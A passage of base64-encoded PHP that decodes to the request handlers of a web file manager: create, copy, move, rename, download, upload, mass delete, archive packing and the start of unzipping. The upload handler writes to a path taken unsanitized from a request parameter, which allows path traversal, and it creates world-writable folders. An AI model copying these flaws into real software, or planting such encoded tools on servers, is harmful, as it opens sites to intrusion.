dyk7CiAgICAgICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnRmlsZScpLicgPGI+JXM8L2I+ICcubG5nKCdDcmVhdGVkJyksIGZtX2VuYygkbmV3KSkpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIGV4dGVuc2lvbiBpcyBub3QgYWxsb3dlZCcsICdlcnJvcicpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdGaWxlIDxiPiVzPC9iPiBhbHJlYWR5IGV4aXN0cycsIGZtX2VuYygkbmV3KSksICdhbGVydCcpOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZtX21rZGlyKCRwYXRoIC4gJy8nIC4gJG5ldywgZmFsc2UpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdGb2xkZXInKS4nIDxiPiVzPC9iPiAnLmxuZygnQ3JlYXRlZCcpLCAkbmV3KSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICRuZXcsIGZhbHNlKSA9PT0gJHBhdGggLiAnLycgLiAkbmV3KSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0ZvbGRlciA8Yj4lczwvYj4gYWxyZWFkeSBleGlzdHMnLCBmbV9lbmMoJG5ldykpLCAnYWxlcnQnKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignRm9sZGVyIDxiPiVzPC9iPiBub3QgY3JlYXRlZCcsIGZtX2VuYygkbmV3KSksICdlcnJvcicpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBvciBmb2xkZXIgbmFtZScsICdlcnJvcicpOwogICAgfQogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7Cn0KCi8vIENvcHkgZm9sZGVyIC8gZmlsZQppZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSwgJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgIC8vIGZyb20KICAgICRjb3B5ID0gJF9HRVRbJ2NvcHknXTsKICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7CiAgICAvLyBlbXB0eSBwYXRoCiAgICBpZiAoJGNvcHkgPT0gJycpIHsKICAgICAgICBmbV9zZXRfbXNnKCdTb3VyY2UgcGF0aCBub3QgZGVmaW5lZCcsICdlcnJvcicpOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgfQogICAgLy8gYWJzIHBhdGggZnJvbQogICAgJGZyb20gPSBGTV9ST09UX1BBVEggLiAnLycgLiAkY29weTsKICAgIC8vIGFicyBwYXRoIHRvCiAgICAkZGVzdCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJGRlc3QgLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KICAgICRkZXN0IC49ICcvJyAuIGJhc2VuYW1lKCRmcm9tKTsKICAgIC8vIG1vdmU/CiAgICAkbW92ZSA9IGlzc2V0KCRfR0VUWydtb3ZlJ10pOwogICAgLy8gY29weS9tb3ZlL2R1cGxpY2F0ZQogICAgaWYgKCRmcm9tICE9ICRkZXN0KSB7CiAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOwogICAgICAgIGlmICgkbW92ZSkgeyAvLyBNb3ZlIGFuZCB0byAhPSBmcm9tIHNvIGp1c3QgcGVyZm9ybSBtb3ZlCiAgICAgICAgICAgICRyZW5hbWUgPSBmbV9yZW5hbWUoJGZyb20sICRkZXN0KTsKICAgICAgICAgICAgaWYgKCRyZW5hbWUpIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignTW92ZWQgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpKTsKICAgICAgICAgICAgfSBlbHNlaWYgKCRyZW5hbWUgPT09IG51bGwpIHsKICAgICAgICAgICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgb3IgZm9sZGVyIHdpdGggdGhpcyBwYXRoIGFscmVhZHkgZXhpc3RzJywgJ2FsZXJ0Jyk7CgogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRjb3B5KSwgZm1fZW5jKCRtc2dfZnJvbSkpLCAnZXJyb3InKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7IC8vIE5vdCBtb3ZlIGFuZCB0byAhPSBmcm9tIHNvIGNvcHkgd2l0aCBvcmlnaW5hbCBuYW1lCiAgICAgICAgICAgIGlmIChmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7CiAgICAgICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0NvcGllZCBmcm9tIDxiPiVzPC9iPiB0byA8Yj4lczwvYj4nLCBmbV9lbmMoJGNvcHkpLCBmbV9lbmMoJG1zZ19mcm9tKSkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkbXNnX2Zyb20pKSwgJ2Vycm9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgaWYgKCEkbW92ZSl7IC8vTm90IG1vdmUgYW5kIHRvID0gZnJvbSBzbyBkdXBsaWNhdGUKICAgICAgICAgICAgJG1zZ19mcm9tID0gdHJpbShGTV9QQVRIIC4gJy8nIC4gYmFzZW5hbWUoJGZyb20pLCAnLycpOwogICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZnJvbSk7CiAgICAgICAgICAgICRleHRlbnNpb25fc3VmZml4ID0gJyc7CiAgICAgICAgICAgIGlmKCFpc19kaXIoJGZyb20pKXsKICAgICAgICAgICAgICAgJGV4dGVuc2lvbl9zdWZmaXggPSAnLicuJGZuX3BhcnRzWydleHRlbnNpb24nXTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvL0NyZWF0ZSBuZXcgbmFtZSBmb3IgZHVwbGljYXRlCiAgICAgICAgICAgICRmbl9kdXBsaWNhdGUgPSAkZm5fcGFydHNbJ2Rpcm5hbWUnXS4nLycuJGZuX3BhcnRzWydmaWxlbmFtZSddLictJy5kYXRlKCdZbWRIaXMnKS4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgJGxvb3BfY291bnQgPSAwOwogICAgICAgICAgICAkbWF4X2xvb3AgPSAxMDAwOwogICAgICAgICAgICAvLyBDaGVjayBpZiBhIGZpbGUgd2l0aCB0aGUgZHVwbGljYXRlIG5hbWUgYWxyZWFkeSBleGlzdHMsIGlmIHNvLCBtYWtlIG5ldyBuYW1lIChlZGdlIGNhc2UuLi4pCiAgICAgICAgICAgIHdoaWxlKGZpbGVfZXhpc3RzKCRmbl9kdXBsaWNhdGUpICYgJGxvb3BfY291bnQgPCAkbWF4X2xvb3ApewogICAgICAgICAgICAgICAkZm5fcGFydHMgPSBwYXRoaW5mbygkZm5fZHVwbGljYXRlKTsKICAgICAgICAgICAgICAgJGZuX2R1cGxpY2F0ZSA9ICRmbl9wYXJ0c1snZGlybmFtZSddLicvJy4kZm5fcGFydHNbJ2ZpbGVuYW1lJ10uJy1jb3B5Jy4kZXh0ZW5zaW9uX3N1ZmZpeDsKICAgICAgICAgICAgICAgJGxvb3BfY291bnQrKzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoZm1fcmNvcHkoJGZyb20sICRmbl9kdXBsaWNhdGUsIEZhbHNlKSkgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdDb3B5aWVkIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKCdFcnJvciB3aGlsZSBjb3B5aW5nIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkY29weSksIGZtX2VuYygkZm5fZHVwbGljYXRlKSksICdlcnJvcicpOwogICAgICAgICAgICB9CiAgICAgICB9CiAgICAgICBlbHNlewogICAgICAgICAgIGZtX3NldF9tc2coJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJywgJ2FsZXJ0Jyk7CiAgICAgICB9CiAgICB9CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTsKfQoKLy8gTWFzcyBjb3B5IGZpbGVzLyBmb2xkZXJzCmlmIChpc3NldCgkX1BPU1RbJ2ZpbGUnXSwgJF9QT1NUWydjb3B5X3RvJ10sICRfUE9TVFsnZmluaXNoJ10pICYmICFGTV9SRUFET05MWSkgewogICAgLy8gZnJvbQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICAvLyB0bwogICAgJGNvcHlfdG9fcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRjb3B5X3RvID0gZm1fY2xlYW5fcGF0aCgkX1BPU1RbJ2NvcHlfdG8nXSk7CiAgICBpZiAoJGNvcHlfdG8gIT0gJycpIHsKICAgICAgICAkY29weV90b19wYXRoIC49ICcvJyAuICRjb3B5X3RvOwogICAgfQogICAgaWYgKCRwYXRoID09ICRjb3B5X3RvX3BhdGgpIHsKICAgICAgICBmbV9zZXRfbXNnKCdQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCcsICdhbGVydCcpOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgfQogICAgaWYgKCFpc19kaXIoJGNvcHlfdG9fcGF0aCkpIHsKICAgICAgICBpZiAoIWZtX21rZGlyKCRjb3B5X3RvX3BhdGgsIHRydWUpKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coJ1VuYWJsZSB0byBjcmVhdGUgZGVzdGluYXRpb24gZm9sZGVyJywgJ2Vycm9yJyk7CiAgICAgICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgICAgIH0KICAgIH0KICAgIC8vIG1vdmU/CiAgICAkbW92ZSA9IGlzc2V0KCRfUE9TVFsnbW92ZSddKTsKICAgIC8vIGNvcHkvbW92ZQogICAgJGVycm9ycyA9IDA7CiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHsKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7CiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCBmcm9tCiAgICAgICAgICAgICAgICAkZnJvbSA9ICRwYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICAvLyBhYnMgcGF0aCB0bwogICAgICAgICAgICAgICAgJGRlc3QgPSAkY29weV90b19wYXRoIC4gJy8nIC4gJGY7CiAgICAgICAgICAgICAgICAvLyBkbwogICAgICAgICAgICAgICAgaWYgKCRtb3ZlKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbmFtZSA9IGZtX3JlbmFtZSgkZnJvbSwgJGRlc3QpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcmVuYW1lID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRmcm9tLCAkZGVzdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7CiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBtb3ZlZCcgOiAnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnMgY29waWVkJzsKICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkbXNnID0gJG1vdmUgPyAnRXJyb3Igd2hpbGUgbW92aW5nIGl0ZW1zJyA6ICdFcnJvciB3aGlsZSBjb3B5aW5nIGl0ZW1zJzsKICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGZtX3NldF9tc2coJ05vdGhpbmcgc2VsZWN0ZWQnLCAnYWxlcnQnKTsKICAgIH0KICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwp9CgovLyBSZW5hbWUKaWYgKGlzc2V0KCRfR0VUWydyZW4nXSwgJF9HRVRbJ3RvJ10pICYmICFGTV9SRUFET05MWSkgewogICAgLy8gb2xkIG5hbWUKICAgICRvbGQgPSAkX0dFVFsncmVuJ107CiAgICAkb2xkID0gZm1fY2xlYW5fcGF0aCgkb2xkKTsKICAgICRvbGQgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkb2xkKTsKICAgIC8vIG5ldyBuYW1lCiAgICAkbmV3ID0gJF9HRVRbJ3RvJ107CiAgICAkbmV3ID0gZm1fY2xlYW5fcGF0aChzdHJpcF90YWdzKCRuZXcpKTsKICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkbmV3KTsKICAgIC8vIHBhdGgKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgaWYgKEZNX1BBVEggIT0gJycpIHsKICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOwogICAgfQogICAgLy8gcmVuYW1lCiAgICBpZiAoZm1faXN2YWxpZF9maWxlbmFtZSgkbmV3KSAmJiAkb2xkICE9ICcnICYmICRuZXcgIT0gJycpIHsKICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJy8nIC4gJG9sZCwgJHBhdGggLiAnLycgLiAkbmV3KSkgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ1JlbmFtZWQgZnJvbSA8Yj4lczwvYj4gdG8gPGI+JXM8L2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20gPGI+JXM8L2I+IHRvIDxiPiVzPC9iPicsIGZtX2VuYygkb2xkKSwgZm1fZW5jKCRuZXcpKSwgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJywgJ2Vycm9yJyk7CiAgICB9CiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTsKfQoKLy8gRG93bmxvYWQKaWYgKGlzc2V0KCRfR0VUWydkbCddKSkgewogICAgJGRsID0gJF9HRVRbJ2RsJ107CiAgICAkZGwgPSBmbV9jbGVhbl9wYXRoKCRkbCk7CiAgICAkZGwgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkZGwpOwogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CiAgICBpZiAoJGRsICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZGwpKSB7CiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICcvJyAuICRkbCwgJGRsLCAxMDI0KTsKICAgICAgICBleGl0OwogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwogICAgfQp9CgovLyBVcGxvYWQKaWYgKCFlbXB0eSgkX0ZJTEVTKSAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICRvdmVycmlkZV9maWxlX25hbWUgPSBmYWxzZTsKICAgICRmID0gJF9GSUxFUzsKICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOwogICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAkZXJyb3JzID0gMDsKICAgICR1cGxvYWRzID0gMDsKICAgICRhbGxvd2VkID0gKEZNX1VQTE9BRF9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX1VQTE9BRF9FWFRFTlNJT04pIDogZmFsc2U7CiAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywKICAgICAgICAnaW5mbycgICA9PiAnT29wcyEgVHJ5IGFnYWluJwogICAgKTsKCiAgICAkZmlsZW5hbWUgPSAkZlsnZmlsZSddWyduYW1lJ107CiAgICAkdG1wX25hbWUgPSAkZlsnZmlsZSddWyd0bXBfbmFtZSddOwogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7CgogICAgJHRhcmdldFBhdGggPSAkcGF0aCAuICRkczsKICAgIGlmICggaXNfd3JpdGFibGUoJHRhcmdldFBhdGgpICkgewogICAgICAgICRmdWxsUGF0aCA9ICRwYXRoIC4gJy8nIC4gJF9SRVFVRVNUWydmdWxscGF0aCddOwogICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgIi8iKSk7CgogICAgICAgIGlmKGZpbGVfZXhpc3RzICgkZnVsbFBhdGgpICYmICEkb3ZlcnJpZGVfZmlsZV9uYW1lKSB7CiAgICAgICAgICAgICRleHRfMSA9ICRleHQgPyAnLicuJGV4dCA6ICcnOwogICAgICAgICAgICAkZnVsbFBhdGggPSBzdHJfcmVwbGFjZSgkZXh0XzEsICcnLCAkZnVsbFBhdGgpIC4nXycuIGRhdGUoJ3ltZEhpcycpLiAkZXh0XzE7CiAgICAgICAgfQoKICAgICAgICBpZiAoIWlzX2RpcigkZm9sZGVyKSkgewogICAgICAgICAgICAkb2xkID0gdW1hc2soMCk7CiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpOwogICAgICAgICAgICB1bWFzaygkb2xkKTsKICAgICAgICB9CgogICAgICAgIGlmIChlbXB0eSgkZlsnZmlsZSddWydlcnJvciddKSAmJiAhZW1wdHkoJHRtcF9uYW1lKSAmJiAkdG1wX25hbWUgIT0gJ25vbmUnICYmICRpc0ZpbGVBbGxvd2VkKSB7CiAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAvLyBCZSBzdXJlIHRoYXQgdGhlIGZpbGUgaGFzIGJlZW4gdXBsb2FkZWQKICAgICAgICAgICAgICAgIGlmICggZmlsZV9leGlzdHMoJGZ1bGxQYXRoKSApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIgogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgKICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgPT4gJ0NvdWxkblwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLicKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgICAgPT4gIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHMiLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKAogICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICAgICAnaW5mbycgICA9PiAnVGhlIHNwZWNpZmllZCBmb2xkZXIgZm9yIHVwbG9hZCBpc25cJ3Qgd3JpdGVhYmxlLicKICAgICAgICApOwogICAgfQogICAgLy8gUmV0dXJuIHRoZSByZXNwb25zZQogICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgZXhpdCgpOwp9CgovLyBNYXNzIGRlbGV0aW5nCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10sICRfUE9TVFsnZGVsZXRlJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7CiAgICBpZiAoRk1fUEFUSCAhPSAnJykgewogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7CiAgICB9CgogICAgJGVycm9ycyA9IDA7CiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsKICAgIGlmIChpc19hcnJheSgkZmlsZXMpICYmIGNvdW50KCRmaWxlcykpIHsKICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsKICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7CiAgICAgICAgICAgICAgICAkbmV3X3BhdGggPSAkcGF0aCAuICcvJyAuICRmOwogICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkgewogICAgICAgICAgICBmbV9zZXRfbXNnKCdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKCdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcycsICdlcnJvcicpOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICAgICAgZm1fc2V0X21zZygnTm90aGluZyBzZWxlY3RlZCcsICdhbGVydCcpOwogICAgfQoKICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpOwp9CgovLyBQYWNrIGZpbGVzCmlmIChpc3NldCgkX1BPU1RbJ2dyb3VwJ10pICYmIChpc3NldCgkX1BPU1RbJ3ppcCddKSB8fCBpc3NldCgkX1BPU1RbJ3RhciddKSkgJiYgIUZNX1JFQURPTkxZKSB7CiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgICRleHQgPSAnemlwJzsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICAvL3NldCBwYWNrIHR5cGUKICAgICRleHQgPSBpc3NldCgkX1BPU1RbJ3RhciddKSA/ICd0YXInIDogJ3ppcCc7CgoKICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7CiAgICAgICAgZm1fc2V0X21zZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJywgJ2Vycm9yJyk7CiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7CiAgICB9CgogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107CiAgICBpZiAoIWVtcHR5KCRmaWxlcykpIHsKICAgICAgICBjaGRpcigkcGF0aCk7CgogICAgICAgIGlmIChjb3VudCgkZmlsZXMpID09IDEpIHsKICAgICAgICAgICAgJG9uZV9maWxlID0gcmVzZXQoJGZpbGVzKTsKICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTsKICAgICAgICAgICAgJHppcG5hbWUgPSAkb25lX2ZpbGUgLiAnXycgLiBkYXRlKCd5bWRfSGlzJykgLiAnLicuJGV4dDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkemlwbmFtZSA9ICdhcmNoaXZlXycgLiBkYXRlKCd5bWRfSGlzJykgLiAnLicuJGV4dDsKICAgICAgICB9CgogICAgICAgIGlmKCRleHQgPT0gJ3ppcCcpIHsKICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTsKICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsKICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAndGFyJykgewogICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTsKICAgICAgICAgICAgJHJlcyA9ICR0YXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsKICAgICAgICB9CgogICAgICAgIGlmICgkcmVzKSB7CiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZignQXJjaGl2ZSA8Yj4lczwvYj4gY3JlYXRlZCcsIGZtX2VuYygkemlwbmFtZSkpKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmbV9zZXRfbXNnKCdBcmNoaXZlIG5vdCBjcmVhdGVkJywgJ2Vycm9yJyk7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICBmbV9zZXRfbXNnKCdOb3RoaW5nIHNlbGVjdGVkJywgJ2FsZXJ0Jyk7CiAgICB9CgogICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7Cn0KCi8vIFVucGFjawppZiAoaXNzZXQoJF9HRVRbJ3VuemlwJ10pICYmICFGTV9SRUFET05MWSkgewogICAgJHVuemlwID0gJF9HRVRbJ3VuemlwJ107CiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7CiAgICAkdW56aXAgPSBzdHJfcmVwbGFjZSgnLycsICcnLCAkdW56aXApOwogICAgJGlzVmFsaWQgPSBmYWxzZTsKCiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDsKICAgIGlmIChGTV9QQVRIICE9ICcnKSB7CiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsKICAgIH0KCiAgICBpZiAoJHVuemlwICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkdW56aXApKSB7CiAgICAgICAgJHppcF9wYXRoID0gJHBhdGggLiAnLycgLiAkdW56aXA7CiAgICAgICAg